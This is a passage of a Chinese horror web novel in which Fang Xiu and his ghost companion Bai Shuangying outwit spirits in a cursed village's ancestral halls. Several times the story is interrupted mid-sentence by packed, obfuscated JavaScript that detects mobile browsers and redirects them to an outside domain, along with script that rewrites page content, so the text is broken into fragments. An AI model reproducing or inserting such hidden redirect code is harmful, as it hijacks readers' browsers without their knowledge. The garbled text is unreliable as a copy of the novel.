四爷沉思:“你这有点问题,刚才说邪祟热情待客,现在又说邪祟集体骗人。” 方休笑容再次变深。 他背对祠堂大门,嘴角高高上提,刘海下的双眼不见一丝光彩。烛光之中,那个笑容温柔却瘆人。 “因为这里没有神,只有厄。” 他轻声说道,“‘厄’是只认死理的死物,表面说得过去就行。” 四爷肯定懂。如果“厄”能分辨动机,疯子不会因为“被逼烧祠堂”犯忌。 果然,四爷哈了声:“也对,‘热情待客’好钻空子,‘对神说谎’难糊弄。” “就这?”贾旭汗如雨下,“我知道它们在演村民,知道它们不会对神说谎,然后呢?” “然后就看你的聪明才智了。”方休拍拍他的肩。 贾旭:“……” 四爷的瞪视下,他苦着脸走进祠堂。跨越门槛后,贾旭憋了足足十秒的气——什么都没发生,就像那只是个普通的空房间。 “去坐那把椅子。”四爷继续指挥。 贾旭缓缓坐上那把花梨木圈椅,椅子扶手触手油润,貌似上了点年头。 见椅子没有异变,贾旭松了口气,接着他发现自己起不来了——他牢牢黏在椅子上,椅子牢牢固定在地面。 同一时间,祠堂前迅速排起一队邪祟。也许是没有神像的缘故,打头三只直接跨进祠堂。 三只邪祟在贾旭面前站成一排,两矮一高。 一个四肢短小没脖子,身覆黄泥;一个皮肤发绿、姿态扭曲,像被塞入了看不见的酒坛;两者簇拥着一具皮肤青紫的僵尸。 方休闷笑一声,转头跟白双影咬耳朵:“看,地三鲜成精。” 白双影回想了会儿地三鲜的含义。 ……白双影努力憋住笑意,嘴角有点扭。 土豆邪祟和青椒邪祟齐齐开口:“贵客做主——它两头欺瞒,分别与我们同吃同宿呀——” “贵客做主——判它与谁归家——” “都行。”方休继续嘀咕,“土豆茄泥和青椒茄子都好吃。” 白双影目不转睛,用上十年修为绷住脸。 贾旭听不见方休的冷笑话,他的汗水湿透了衣服。 要他主持公道?怎么主持?这仨玩意儿的性别他都看不出来——! 方休叹了口气,刚想提示,就见贾旭满脸惊恐地开口:“肃静!” 那声音尖锐怪异,明显不属于贾旭。看来不许场外求援,方休只好闭嘴。 接着贾旭磕磕巴巴问了几个问题,大约是“谁先交往”、“谁先同居”之类的话。邪祟们死死盯着他,两边说辞一模一样。 贾旭手汗沾湿了椅子:“你们究竟想怎样……” “贵客做主——惩恶扬善,夫妻双双把家还——” 邪祟们齐声道。 “贵客做主贵客做主贵客做主——” 见贾旭迟迟不发话,邪祟们声音越来越尖,黄毛和四爷捂住了耳朵。 贾旭七窍有血渗出,他实在受不住,随手一指土豆:“它归你!” 瞬间,三张鬼脸一笑二哭。 “不公——不公——!”青椒尖叫。 贾旭被吵得险些昏迷。不出片刻,他的双臂被两只邪祟架起——福老儿的唢呐队不知何时到来了。 它们抬起没有五官的脸:“恶客徇私枉法,先行关押——庙会结束,驱逐出村——” 出村约等于判死刑,贾旭呆住。 就这样?他只是出了个小错,这么简单就……? “我重判,我再问问!”他疯狂挣扎,“刚才我只是乱说!” 两只无脸邪祟压根不听,它们硬生生拖拽着贾旭,朝真正的神祠走。 “救救我,救救我——”贾旭扒住门槛,涕泪横流。 画皮徒劳变幻,可无论贾旭变成什么样,他始终摆脱不了束缚。 看着不停涌来的唢呐队,其余人没敢回应,成松云不忍地转头。 方休拍了下手,面无表情:“看来从前‘客人’犯了错,村长可以给予惩罚。” 成松云嗫喏:“禁、禁忌?” 方休:“不,只是钻漏洞,它们这么做,仍算是模仿村民……它们想在规则内‘合情合理’地干掉我们。” “我们没法主动攻击,它、它们却能这样?”成松云红了眼圈。 “它们每钻一次漏洞,我们都能拿到有关过去的情报,不完全是坏事。” 方休很平静,“别担心,贾旭说是被关押,只要庙会结束前搞定‘厄’,他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“贵客做主——村东良田为我家产,这厮占了去!”一鬼大呼。 “贵客做主——村东良田为我家产,这厮占了去!”另一鬼跟着喊。 方休:“你们想怎样?” 两只邪祟:“贵客做主——惩恶扬善,良田属谁公平判——” 方休呼气:“实物纠纷啊,那敢情好。” “这样,两位走个程序。你们先向嵬山神发誓,说那块地一直是自家的。” 两只邪祟噤若寒蝉。 白双影终于绷不住,“噗”地轻笑出声。 “不肯发誓的话,我只能当你们扰乱神祠。”方休遗憾地表示,“不过……” 他摸摸肩上的长发,再次仰头看白双影,一双眼笑得弯弯的。 白双影没来得及敛起笑容,两人视线轻轻擦过。 “不过,不能草草结案。” 欣赏完白双影的笑脸,方休低头看台下,“你们坚持要知道‘良田属谁’,我判你们自己问。” “你俩去找嵬山村老村长,一任不行换一任,总有人知道那块地谁家的。哦对,他们应该都在地府。” 方休指指四爷,“借他的桃木剑,脖子来一下,包直达。” “你们扰乱神祠在先,我有没有惩恶扬善?” “下了地府,你们是不是能知道良田属谁?” 几分钟后,两只邪祟的尸首旁,方休笑容明快。 “下一个。”他说。 19.北方祠堂 下一个,再下一个。 邪祟们兢兢业业模仿村民,要做主的全是乡里乡亲鸡毛蒜皮。 于是,遇见人情扯皮,方休扯得比它们还熟练。遇见财产纠纷,方休上来就一句“先向嵬山神发誓”。一队邪祟浩浩荡荡进祠堂,出来时只剩不到三分之一。 八个案子审完,方休把人头背回背上,下班一样离开椅子。 临走时,他特地又望了眼白双影。 他的邪祟平时面无表情,从不大笑大闹。但仔细观察下来,方休发现白双影的情绪很直接—— 高兴就是高兴,高兴了就笑。不爽就是不爽,不爽就杀人。 这家伙脑袋明明不笨,却不擅长骗人。就连恶意都很纯粹,纯粹到有些可爱。 不管是人是鬼,方休不知道多久没见过这种类型了。 这种类型的家伙,要么就是年轻到没经历过现实毒打;要么就是一力降十会,懒得看别人脸色。 方休决心不让现实毒打他的鬼。 “白双影。” “嗯?” 方休:“你是不是因为我那句‘邪祟性本恶’生气了?” “嗯。”白双影扫了他一眼。 “对不起啊。我当时得尽快向大家解释,只能粗略概括。我知道有些邪祟未必想害人……” “不,我想害人。”白双影语气森然,“我只是不喜欢人类肆意评判。” 方休:“……” 方休认真:“既然你也不是好东西,我们更适合当朋友了。” 白双影停住,一脸“你居然有自知之明”的惊讶:“你说‘也’……” “是啊,我故意隐瞒了一些发现。”方休又开始朝邪祟耳朵吹热风,“有些还得验证。有些嘛,我有别的用处……你知道谈判桌上最重要的是什么吗?” 方休的注视下,白双影好奇地歪过脑袋。 “是筹码。”方休笑着说。 …… 一行人没再发现新线索。四爷跟着葫芦指引,一路往回走。 来时八人,走时六人。 路上,众人听方休总结了两嘴。空祠堂大概率是邪祟用来场景再现的,一来更深入地模仿村民,二来找机会把他们坑死。 他们在祠堂犯错,福老儿可以光明正大抓人。反过来,他们在祠内行为合理,邪祟只能乖乖认栽……总之,收益越高风险越大,人鬼两边都是。 四爷看得门清,就这阴损劲儿,疤哥十有八.九死在方休手里。然而眼下他自身难保,这小子用处不小。他要是现在报复,那才是脑袋被驴踢了。 回去路上,他把疯子赶到队伍最前头。疯子照旧胡言乱语,没什么特别的反应。 这一趟花了小半夜。凌晨时分,一行人回到戏台。 戏台上歌声依旧,来来回回都是“笼中鸟”那一段。福老儿坐在原处看戏,戏台上却多了三把椅子。 贾旭黄毛排排坐,就在大夫尸体左边。 两人换了红衣,被大红花死死绑在太师椅上。他们胸口还有起伏,貌似只是失去了意识。 他们和大夫隔着一把太师椅。那椅子上堆了两个尸块,正是送给两人的疤哥散件。 “原来是这么个‘关押’法。”方休沉思。 成松云声音发颤:“要、要是大家都被绑上去——” 方休:“那我们可以重新合成一个疤哥,人还挺齐的。”就少一棵瘦猴。 成松云:“……” 她双手合十,又念了两句佛经。 另一边,四爷又开始玩葫芦。这次葫芦显示北方为吉位,但葫芦口出现了小幅摆动,没上次那样稳。 四爷黑心老板似的布置工作:“探完北边再回来休息,南边西边白天再说。” 方休没异议。虽说这里的白天阴雨连绵,好歹比夜晚阳气足。 他只有一个提议:“我们先去祠堂垫垫肚子吧。” 真祠堂还是老样子,神像也是老样子。 供桌上仍然摆满供品,大家一回生二回熟,当即吃吃喝喝。阴间玩意儿看多了,怪神像都显得眉清目秀。 梅岚捧着罐黄桃罐头,抬头看神像。 神像口部的油彩没人处理,还是血一般缓缓流淌。那张只有嘴巴的笑脸正对戏台,台上景象一览无余。 “吃点肉,这种东西不顶饱。” 方休走到她身边,递过去一个鸡腿,“你可以先把东西放下。嵬山村敬神,礼物暂存祠堂不算‘乱扔’。” 梅岚犹豫片刻,试着放下泥桃酥,果然没犯忌。 “谢谢。”她感激地接过鸡腿。 难得见方休做点人事,白双影站在方休背后,饶有兴致地旁观。 下一秒,方休看了眼四爷,压低声音:“之前你说嵬山砚销量一般,还记得为什么吗?” 白双影:“……” 原来是交易,为什么他一点都不惊讶呢。 梅岚皱起眉,认真回忆:“我有印象。嵬山砚是那种很漂亮的黑色,下墨快发墨好,起初卖得不错。” “后来总有客人反映,嵬山砚研墨的时候有怪味。有人退了货,有人舍不得手感,凑合着用,毕竟有些墨汁也很臭……” 方休:“除了这个呢?” 梅岚摇头:“要是嵬山砚闹鬼,或者有人购买后离奇过世,我肯定会听说。” 方休道了谢,回到供桌前继续吃饭。 “问完了?”白双影百无聊赖道。 “嗯,有点猜想,差不多就剩最后一环。”方休抬头看了眼神像。 “那轮到我问你。”白双影说,“你用鸡腿换了她一个答案,之前你给我鬼臂与生魂,又是想从我这换到什么?” 方休停住咀嚼,静静望向白双影。 “你说你想选死法,把自己的生魂许给我,我姑且当是真话。但你从不指望我出全力,为什么要额外为我猎食?”白双影问得很直接。 “因为我们是朋友。”方休说。 白双影:“不信。” “因为我喜欢你的长相和性格。”方休说。 白双影:“不信。” “你活着的时候,没人单纯对你好过吗?”方休问。 白双影想了想:“不曾。” 方休停顿了好一会儿:“看来你也挺倒霉。那我说真话,你别笑话我。” 白双影沉默地盯着他,等待一个祈求,或者说一场交易。 方休揉揉脸:“……我只是想多和你聊聊天。” 白双影就差把问号刻上脑门。 “我活着,给你找食物。我死后,生魂给你吃。对你来说,我再没其他东西可以图了。” 方休小声解释,“这样我不用戒备你,能安安心心跟你说话。” “我说我怕寂寞,那句话是真话。” 白双影拨开方休的碎发,直视那双眼。方休径直望回来,没避开他的目光。 其实白双影不擅长分辨人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这些伤害不致命,只是折磨人。”方休严肃地表示,“这也是重要的讯息,我得试试。” 先是钉子锐器,而后是毒草污水,套路完全不变——故意“不小心”伤人,紧跟着敷衍的“不好意思”。 方休旧伤叠新伤,脏水渗进伤口,火辣辣的疼痛再次回归。 怪异之处不止这些。自从踏上北边路,方休只觉得内心一股无名火。红灯笼下,无数邪祟笑脸在他面前晃动,负面情绪气球般膨胀。 “别分心。” 一只冰冷的手盖上他的双眼,是白双影,“一点迷惑术法而已,你只管往前走。” 那只手冰块一般,带来清清凉凉的黑暗。无名火顷刻熄灭,方休逐渐冷静。 然后他发现,其余人状态也不对。成松云癫狂地念经,梅岚时不时崩溃低叫;阴郁少年压抑地抽泣,四爷脏话骂得越来越响。 方休长呼一口气,靠向身后的白双影。感受到白双影胸口纸花,方休连忙空出间隙,没去挤压它。 白双影半拥着他前进,发烫的伤口碰上寒气,果然很舒服。 多神奇,尽管他什么都看不见,却有种奇妙的松弛感。 “我感觉我好像纣……” “住口。” 走到北方边界时,除了方休,一行人近乎崩溃。 北边尽头也有一座空祠堂。比起东边祠堂,面前祠堂的火光要更昏暗些。 一双巨手从祠堂里探出来,两只手腕堵住半个门扉,方休只能看到祠堂内一半的对联。 【童男童女■■■】 【祠内祠外■■■】 那双鬼手长满老茧,比门洞还大几分。它们掌心朝上,轻轻朝上弯动。 那是个邀请的手势。 20.祠内祠外 方休看看白双影,看看那双巨手,再看看白双影。 白双影陡然有种不妙的预感。果然,方休小心翼翼开口:“你亲戚?” 这个人类真的很特别,仅用三个字就能冒犯到他。白双影默念数遍“方休死了扣修为”,才堪堪绷住五官。 方休瞧他的脸:“看来不是,不好意思。” 白双影:“别再说那四个字了,听着烦。” 这边两人拉家常,那边四爷搡了下梅岚:“你上。” 梅岚脚部受伤,再加上一路的折磨,她当即尖叫起来。 “为什么是我!为什么是我!”梅岚满脸泪水,目光无助地扫来扫去,“不是有个疯子吗?!” “脑袋正常的人试,结果才好参考。” 四爷呲牙,“他是废物,你也一样。你他妈路都走不好了,我这是废物利用。” “我替她去。”阴郁少年突然出声。 他瑟瑟发抖,脸上还有泪痕,语气也有些僵硬。 四爷:“哟呵,小废物长嘴了。” “方哥反应快,成阿姨……成阿姨也很利索,大家都比我有用。” 少年及时咽下了成松云的护盾技能,“方哥说只要解决‘厄’,被抓的人就还有救……对吧方哥?” 方休实事求是:“前提是被抓,这个说不定会直接弄死你。” 阴郁少年缩缩身体,没后退:“……反正我也不怎么想活。” 梅岚抱紧双臂,她深深埋着头,没有劝阻。 “我叫关鹤,家住癸省奉州市,我妈叫何玉眉。方哥、成阿姨,如果我死在这,能不能替我向我妈道个歉?” 阴郁少年话很少,几天下来,这是他第一次自我介绍。 方休:“我知道了。” 成松云看不下去:“你还年轻,我去。” “就他去,没完了还!” 四爷一拳打向成松云,成松云下意识用胳膊护住头,熟练地弓起腰。 关鹤趁机上前,他颤抖着吁了口气,手指触碰那双巨手。 下个瞬间,那双手猛然合拢,把他攥入手心。它们蛇一样缩回祠堂,祠堂门嘭地关上。 祠堂内死一般静寂。紧闭的门扉隔绝了视线,门上巨手影子晃来晃去,看得人心底发毛。 几分钟后,门内终于传来关鹤的声音。声音很模糊,说不清是呻.吟还是哀叫。那声音持续几十秒,再次消失。几番折腾后,门内彻底没了动静。 约莫一个小时,唢呐队再次在祠堂前集结。 “恶客尸位素餐,先行关押——庙会结束,驱逐出村——” 它们打开祠堂门,拖出关鹤。 关鹤一米七出头,被高大的邪祟一拖,显得格外瘦小。他面色青白、双眼紧闭,身上的伤口还在渗血。 ……但他的表情居然异常平静,方休挑挑眉毛。 那双手重新伸了出来,手掌向上,掌心沾着斑斑血迹。 “看出啥了没?”四爷没琢磨出个所以然,索性转向方休。 方休仔细观察那双手:“还没。” 四爷颇为恶意地笑了笑,又指向梅岚:“你继续。难为人家英雄救美,让了你一个钟头。” 这回梅岚没哭叫。 不知道她是心灰意冷,还是见关鹤没丧命,索性破罐子破摔。只见梅岚一瘸一拐上前,直接倒入鬼手。 关门。静寂,哀鸣,最终归于静寂……一切完全重现,只是主角从关鹤换成了梅岚。 “恶客尸位素餐,先行关押——庙会结束,驱逐出村——” 梅岚昏迷不醒,表情同样平静。 四爷:“这次呢,看出啥了没?” 方休平静道:“看出来了,下个换我上。” “你他妈不是看出来了吗?” “我还得确认里面的对联。”方休说,“要是信不过我,你可以自己来。” 四爷啧了声,没再说话。见方休自信满满,成松云也保持沉默。 只有白双影表情缓缓消失,方休先一步拍拍他的手臂。 “放心,我不会有事,你也可以进去玩玩。” 说罢,他干脆利落地扑进鬼手。 鬼手合拢,方休整个人陷入黑暗。 非常奇妙的,他全身的伤口不再疼痛,身体羽毛般轻盈。就像躲入蚌壳的蚌,难以言喻的安全感包裹了他,脑袋跟着晕陶陶的。 几分钟过去,合拢的手突然打开。 不安、剧痛与疲劳瞬间将方休淹没。有了刚才的轻松做对比,现实格外难以忍受。遍身疼痛疯狂碾压神经,他仿佛下一秒就要死去。 方休差点呻.吟出声,但他忍住了。 他从鬼手掌心爬起,环视祠堂。这里的红蜡烛比真祠堂要稀疏,但足以让他看清对联内容—— 【童男童女村中客】 【祠内祠外座上宾】 白双影站在“座上宾”那一联下,苍白的眸子看过来,像两轮明月——明月一般美,明月一般毫无情绪。 方休刚想冲他笑,又被鬼手拖回掌心。邪异的安抚再次袭来,如同母亲的怀抱。鬼手用掌心揉搓着他,皮肤居然带有活人般的温度。 无边安宁中,方休的思绪再次……不,他的思绪没有模糊。 他挠挠巨手的掌心:“够了够了,搁这盘核桃呢。” 巨手不理他。 方休叹气:“客气没用是吧,那我直说。” “你们一路折磨人,诱导大家崩溃,最后来这套……要是我被你迷惑,在这逃避现实,绝对会重蹈那两位的覆辙。” 邪祟们喊着尸位素餐,说两人未尽职守。 不管所谓的职守指什么,总之不可能是赖在这里偷懒。 巨手微微放松,漏出一点缝隙。外界空气冰冷,疼痛再次深入骨髓,就像某种警告。 方休望着缝隙中那抹白色,到底还是笑了。 “你知道吗,医院会给癌症晚期的病人提供吗.啡。镇痛失效后,他们的呻.吟比刚才那俩还惨。” “即便如此,吗.啡的使用也被严格管控。毕竟它不是什么好东西……就像你一样。” “我还有要做的事。”方休一字一顿,语气愈发强硬,“我说,放手。” 他的手指抠入鬼手掌心,用力之大,连指甲盖都掀起些许。 巨手松开,十指抽搐不止,如同发怒的蜘蛛。方休轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13644117|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧跃下,落地处溅出一圈血迹。 “真缠人。”方休舔舔受伤的手指,走到白双影面前,“你看,我就说没事。” 白双影瞧向面前体无完肤的人,这人的“没事”还真宽泛。 鬼手的术法名为“乐极生悲”,掌中极乐,掌外悲苦加倍。它对常人尚且有效,何况对付一群遍体鳞伤的倒霉蛋。 方休看着不着调,居然能轻松破解此术。 “你能抵御法术,你是道士?”白双影警惕。 方休憋笑:“对,晚辈道号夜猫子。” 白双影:“……我看应该是登徒子。” “也行。” 白双影没被绕进去:“够了,你究竟怎么做到的?” “习惯了。”方休无所谓地耸耸肩,走向门扉。 “习惯法术?” “习惯疼痛。” 白双影了然:“怪不得你那么清楚,你就是那个‘癌症晚期’……” 方休当场急刹车:“我靠你别咒我啊,我只是在医院上班!” “那你为什么习惯疼痛?” “我小时候比较倒霉……再说这家伙也没多厉害,它手法比你差多了,还是你上药更舒服。”方休语气十万分诚恳。 “……嗯。” 白双影低头,正正胸口的纸花。 …… 再回到戏台时,一行人只剩四个,离天亮也只剩一两个小时。 福老儿还是坐在原处,乐曲仍在循环。 戏台上多了关鹤与梅岚,疤哥椅子上多了两个尸块。宽广的戏台摆上九把椅子,显得有些满了。 确定关鹤与梅岚还在呼吸,成松云拍拍胸口。 一路折腾下来,连四爷都撑不太住。他打了个哈欠,大发慈悲:“都去祠堂睡会儿。” 众人离开时,供品被吃掉大半。如今再回来,供桌又变得满满的。 方休拿了瓶旺○牛奶,发现生产日期从一年前变成了两年前,但食物看起来还是一样新鲜。 成松云小口喝罐头糖水,四爷脱下上衣,熟练包扎伤口。没了布料遮掩,那一身肌肉越发吓人。 疯子面朝墙壁,额头一下一下轻轻撞墙,嘴里念念有词。 “你还没说你的发现。”四爷瞥向方休,“你光说了对联内容,玄玄乎乎的。过来,再用人话讲一遍。” 方休抿了口饮料:“你太不尊重人了,平等点不好吗?” “啊?少蹬鼻子上脸。” 四爷多少感受到了方休的变化,这人同伴越少,越不掩饰本性。 他承认方休有两下子,但他并不慌——自己这么多法器,对面就俩弱鸡,其中还有个不到一米六的老女人。 等老女人完蛋,他们就是一对一,他不信方休真敢得寸进尺。 果不其然,方休停顿片刻:“好吧,我说。” 四爷不屑地喷了口气。 他眼看方休放下饮料站起身,走向自己……然后越过自己。 方休停在嘭嘭撞墙的疯子身边。 “这位大爷,情况都这样了,别再装啦。” 方休说,“我知道你没疯……我还知道,你比四爷强得多。” 21.南边祠堂 疯子继续嘭嘭撞墙,仿佛没听见方休的话。 方休不紧不慢地继续:“你第一天起就在监视我们,麦子的法器也是你偷走的。” “你一直装疯卖傻等待时机——你知道有我们在,四爷不可能只使唤你一个。他亲口说过,蹚雷这种事,正常人比疯子好用。” 四爷脸色黑了下来。成松云差点被罐头呛到:“什、什么?” 嘭,嘭,嘭。疯子充耳不闻。 “我不是诈你。” 方休抓抓头发,“第一晚,我发现仓库有东西窥探。如果是四爷的手段,他刚才会拿来探祠堂。福老儿满地眼线,做法不会这么突兀。” “至于偷法器……要是四爷干的,他这么惜命,肯定全带身上。要是福老儿干的,它没必要留下铜钱剑,顺手收走又不费事。” “另外,你敢让四爷抓,说明你有保命的自信。所以我猜你比四爷强。” “敢玩老子——” 疯子还没反应,四爷先上了火。他一脚踹向疯子后背,结果被轻飘飘躲开。 疯子不疯了。他挺直腰杆,双手背到背后,额头还带着撞出来的淤血。 “有点武断啊,小伙子。福老儿行事不通人性,你咋那么确定?” 方休:“福老儿和你可能性三七开,试试又不要钱。” 疯子长长地哦了声。 “我确实不是诈你。”方休不好意思地挠挠脸,“我在诈四爷,能让他怀疑你就行。” 四爷:“……” 四爷一扯锁链:“姓方的,既然你把这家伙揪出来,这回我放你一马。” 疯子笑了笑,右手攥拳,往勾魂锁链上一抹。锁链瞬间破碎成光点,被他收入右拳。 四爷惊得退后两步。成松云目瞪口呆,差点摔了手里的罐头。 方休呼吸一滞,背又绷紧了。 “小伙子真狠呐,要是你搞错了,我岂不是要白白挨打。”疯子慢悠悠地说。 方休赶紧摇头:“那不会。偷灵器福老儿和你三七开,你有问题的可能性是百分百。” “怎么说?” 方休:“不能免费告诉你。” “挺好,我会记得问。” 疯子走到供桌前,撕下一片猪耳朵,“我算个半吊子道士,道号山混子。” 四爷冷笑:“祭祀里头没有玄学中人。” “都说了半吊子,我自学的,算不得专业。”山混子说,“唉,我本打算晚点出手,不过现在也行……” 祠堂霎时间热闹起来。 白双影看得津津有味,他全程没在意疯子,体验感拉满。 一路下来,四爷越发警惕方休。此时此刻,四爷的戒心却在山混子身上。 局势悄无声息地改变,某人揭发时机选得刚刚好,白双影不由地看向方休。 察觉到自家鬼的视线,方休转过脸,冲他比口型—— 【好玩吧?】 另一边,山混子满脸乐呵,权当无事发生:“祭祀差不多了,窝里斗没意思……喂,有啥发现不?” “日你祖宗。”四爷痛失锁链,正在气头上。 “你说你气啥,你就剩条光棍,不如学学我。” 山混子摇头晃脑,“前期吃点苦,祭祀快完再出头。到时活着的没啥废物,性子也摸透了,多顺溜。” 四爷满眼血丝,死死瞪着山混子。 山混子无所谓地转向方休:“你咋看?你脑瓜子比这头牛好使。” “前辈你先说,我不想班门弄斧。”方休很客气。 山混子咬了口猪耳朵:“唔,我估摸着南祠堂很危险,西边怕是没祠堂。” “东、北祠堂跟真祠堂距离差不离,西边对应的位置是坟地。这地方这么敬神,总不能把祠堂建坟里。” 方休:“我也认为西边没祠堂。” 山混子:“但咱还得去,搞清事情来龙去脉,才能晓得‘厄’是啥。” “祠堂对联呢?”方休问。 “我最烦那类文绉绉的东西。” 山混子嘶声道,“对联肯定有点意义,八成是村里人写的,邪祟拿来应个景。记住,祭祀要看事儿而不是字儿。” 方休:“原来如此,那第三条禁忌……” “和嵬山神有关啰。俩尸体瞅着像神像,但我不确定咋触发的。”山混子摆摆手,“该你了。” 方休叹气:“我……我今天太累,脑子乱糟糟的。” 山混子打了个哈欠:“成,那先睡。” 四爷也没啥意见。他摩挲着桃木剑,不知是不是在怀念锁链。 睡前,方休特地找到成松云。 “成姐,能不能帮我包扎?我这不太方便。”方休展示伤痕累累的手。 成松云一看他掀开的指甲,禁不住抖了抖:“哎哟,咋整的,快过来。” 她扯了些衣料撕成布条,接着擦去伤口处的脏污,再用布条包扎,动作十分熟练。 方休望了会儿皮肉外翻的伤口,又看向成松云。 “白双影,隐藏我们。” 方休轻声说,“……成姐,你信我吗?” 成松云头也不抬:“就剩咱俩,我还能信谁?” “那好。你答应我两件事,我保证你活下来。” 成松云惊异地抬起眼。 “第一,无论出现什么情况,绝对听我指挥。” “第二,只要我没跟你说话,不要信我任何话。” 说完,方休自己先笑了,“哎,我知道听上去挺怪的……” “没问题。”成松云犹疑着说,“但是你话说得这么满,你到底猜到了多少?” “99%。”方休直直看着她,“……嗯,现在100%了。白双影,你能隐藏这个吗?” 成松云很快明白了这句话的指向—— 她左边腋下一阵酸痛,后腰胀得厉害,有什么穿破她的皮肤,枝条般朝外生长。方休温和的目光中,她脖颈处一阵灼热,缓缓鼓出个硬包。 成松云颤抖着摸向鼓包,摸到一张皱缩的人脸。 人脸湿热的吐息打上她的手指。 成松云想尖叫,方休当面捂住了她的嘴。 “嘘——没事,你就当它们不存在。”方休语气轻快,“白双影很擅长隐藏,其他人发现不了的。” “成姐,别害怕,你说过你愿意相信我。” 成松云惊恐地瞪着方休,最后,她还是吞下了那声惊叫。 事已至此,她别无选择。 黎明前,众人各自找了个角落睡,方休也不例外。白双影无需睡眠,他在方休对面坐下,继续观察大业——此人睡觉时闭着嘴,可谓一天里最讨鬼喜欢的时段。 庙会确实很好玩,刚才的节目也很有趣,白双影心情不错。 更妙的是,天亮后少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“被消失的年轻人,可能变成了供奉嵬山神的活祭。” 山混子意味深长地瞄他:“照这说法,南边祠堂得对应‘活祭’那一步,咱待会儿就能验证。” 出祠堂后不久,方休的猜想得到了证实。 众人刚往南走,就被一众邪祟堵住。它们夸张地挤眉弄眼,彻底封锁了朝南的路。 四个棺桶在他们面前一字排开,盖子大敞。桶底放满鲜花、果实与布料,看着还挺舒适。 “确实像活祭。”方休微笑起来,目光扫过山混子和四爷。 白双影兴趣寥寥:“这个猜想很无趣。” 邪神淫祀罢了,自古要多少有多少,套路大差不差。 方休没有回应他,只是笑意深了几分。 看着这一切,成松云全身发寒。 【只要我没跟你说话,不要信我任何话。】 ……自始至终,方休没有看过她一眼。 ……也就是说,方休所谓的猜想,是彻头彻尾的谎言。 【无论出现什么情况,绝对听我指挥。】 ……她完全猜不透方休的目的。 ……而现在,她得开始执行他第一个指令。 22.飞升仙家 仅剩四人中,成松云最不起眼。四爷把供品打了个包,命令她背上。方休倒没有为难她,自己往兜里抓了把糖。 “无论他们交给你什么事,尽量自然地搞砸一次。”拿糖果时,他状似不经意地说道。 ……这便是方休第一个指令。 哗啦啦! 此刻,看到那些棺桶,成松云做出一副被惊吓的样子,果断摔了食物包裹。 一个罐头直接碎裂,糖水浸湿了红布。湿渍颜色变深,如同血迹。 好在四爷忙着瞧棺桶,只是骂了两句,没有深究。 方休也在用心观察。 棺桶是陶制的,外层涂成黑色,上面写着往生咒。 它形状像个小水桶,个头不大。在场四人,只有不到一米六的成松云能带着尸块挤进去。 剩下三个男性,怕是打断四肢才能塞进去……他们真的得进去吗? “进去,进去——!” 预感向来好的不灵坏的灵。邪祟们渐渐逼近,把周遭围得水泄不通。 方休上前比了比棺桶。就算他偏瘦,身材也算得上宽肩窄腰,肩膀那边会卡住。 “进去,进去——!” 邪祟们挨得更近,呼声越来越急,大有他们不进就“帮”他们进的意思。 “都进去呗。”山混子说,“盖儿没密封,肯定不会直接埋人。瞧这场面,不进才难办。” 说罢,他嘿嘿笑了两声,关节噼里啪啦一阵响。山混子身体飞快折成一团,带着尸块顺利入棺。 “入棺——莫闹——” 邪祟们将棺盖盖上,确实没有其他动作。 与方休确认过眼神,成松云也跨入棺桶。她身形瘦小,过程还算轻松。 “入棺——莫闹——” 又一个盖子合上。 一转眼,外面只剩方休和四爷,周围邪祟挤得更近了。它们嘴角逐渐上挑,离两人不过一臂。 四爷环视四周,肉疼地掏出一张黄符,啪地贴上额头。下一秒,他的身形等比例缩小,身高只有原先的二分之一。 小号四爷吃力地扛着尸块,钻入棺桶中。 “入棺——莫闹——” 盖子盖上前,四爷留给方休一个嘲弄的眼神。 棺外只剩方休,邪祟群几乎要挤到他的脸上,无数视线全部钉向他一人。 方休:“……” 方休:“有道具就是好啊。” 白双影嗯了声,他还真有法术应对这个境况——他可以把方休变成一堆肉泥,直接倒进桶里,就是恢复的时候费点工夫。 “白双影,我们是朋友吧。” “是。”白双影微微抬头,等待方休祈求。 “……那你身体借我靠一下。”方休说。 白双影:“?” 方休权当默认,他捱近白双影,脸埋进对方肩膀。 喀嚓。 一声钝响。方休右手一错,肩关节直接脱位,左臂软软地垂了下来。 方休跟着全身一紧,继而克制地微微颤抖。除了快速吸气抽气,他没有发出其他声音。 白双影稳稳站着不动,任由方休大半体重压过来。 方休再抬头时,表情已经调整好了。只是脸色异常苍白,额头出了不少汗。 这回白双影倒没觉得被小瞧。 他开始分不清方休是真心觉得他弱小,还是压根就不习惯依赖外物。 “可算是够了。”方休跨进棺桶,费力地调整姿势,他的肩膀终于成功收进棺内,“你隐藏好自己,在外面……白双影?!” 盖子盖下前,白双影面无表情地跳入棺桶。 噗通。 进入棺内的瞬间,白双影又一次化开,扭曲的色彩液体般填满空隙,刚好盛满整个棺桶。 方休刹那间被淹没。 那种触感很特别,它让他想起小时候。那时父亲负责开车,母亲抱着他坐在后座。车窗开了一半,他悄悄把手伸出去,感受急速流过的风。 似水非水,隐约带点固体的质感。轻盈,干燥,有点凉。 相比之下,白双影要更加冰冷。 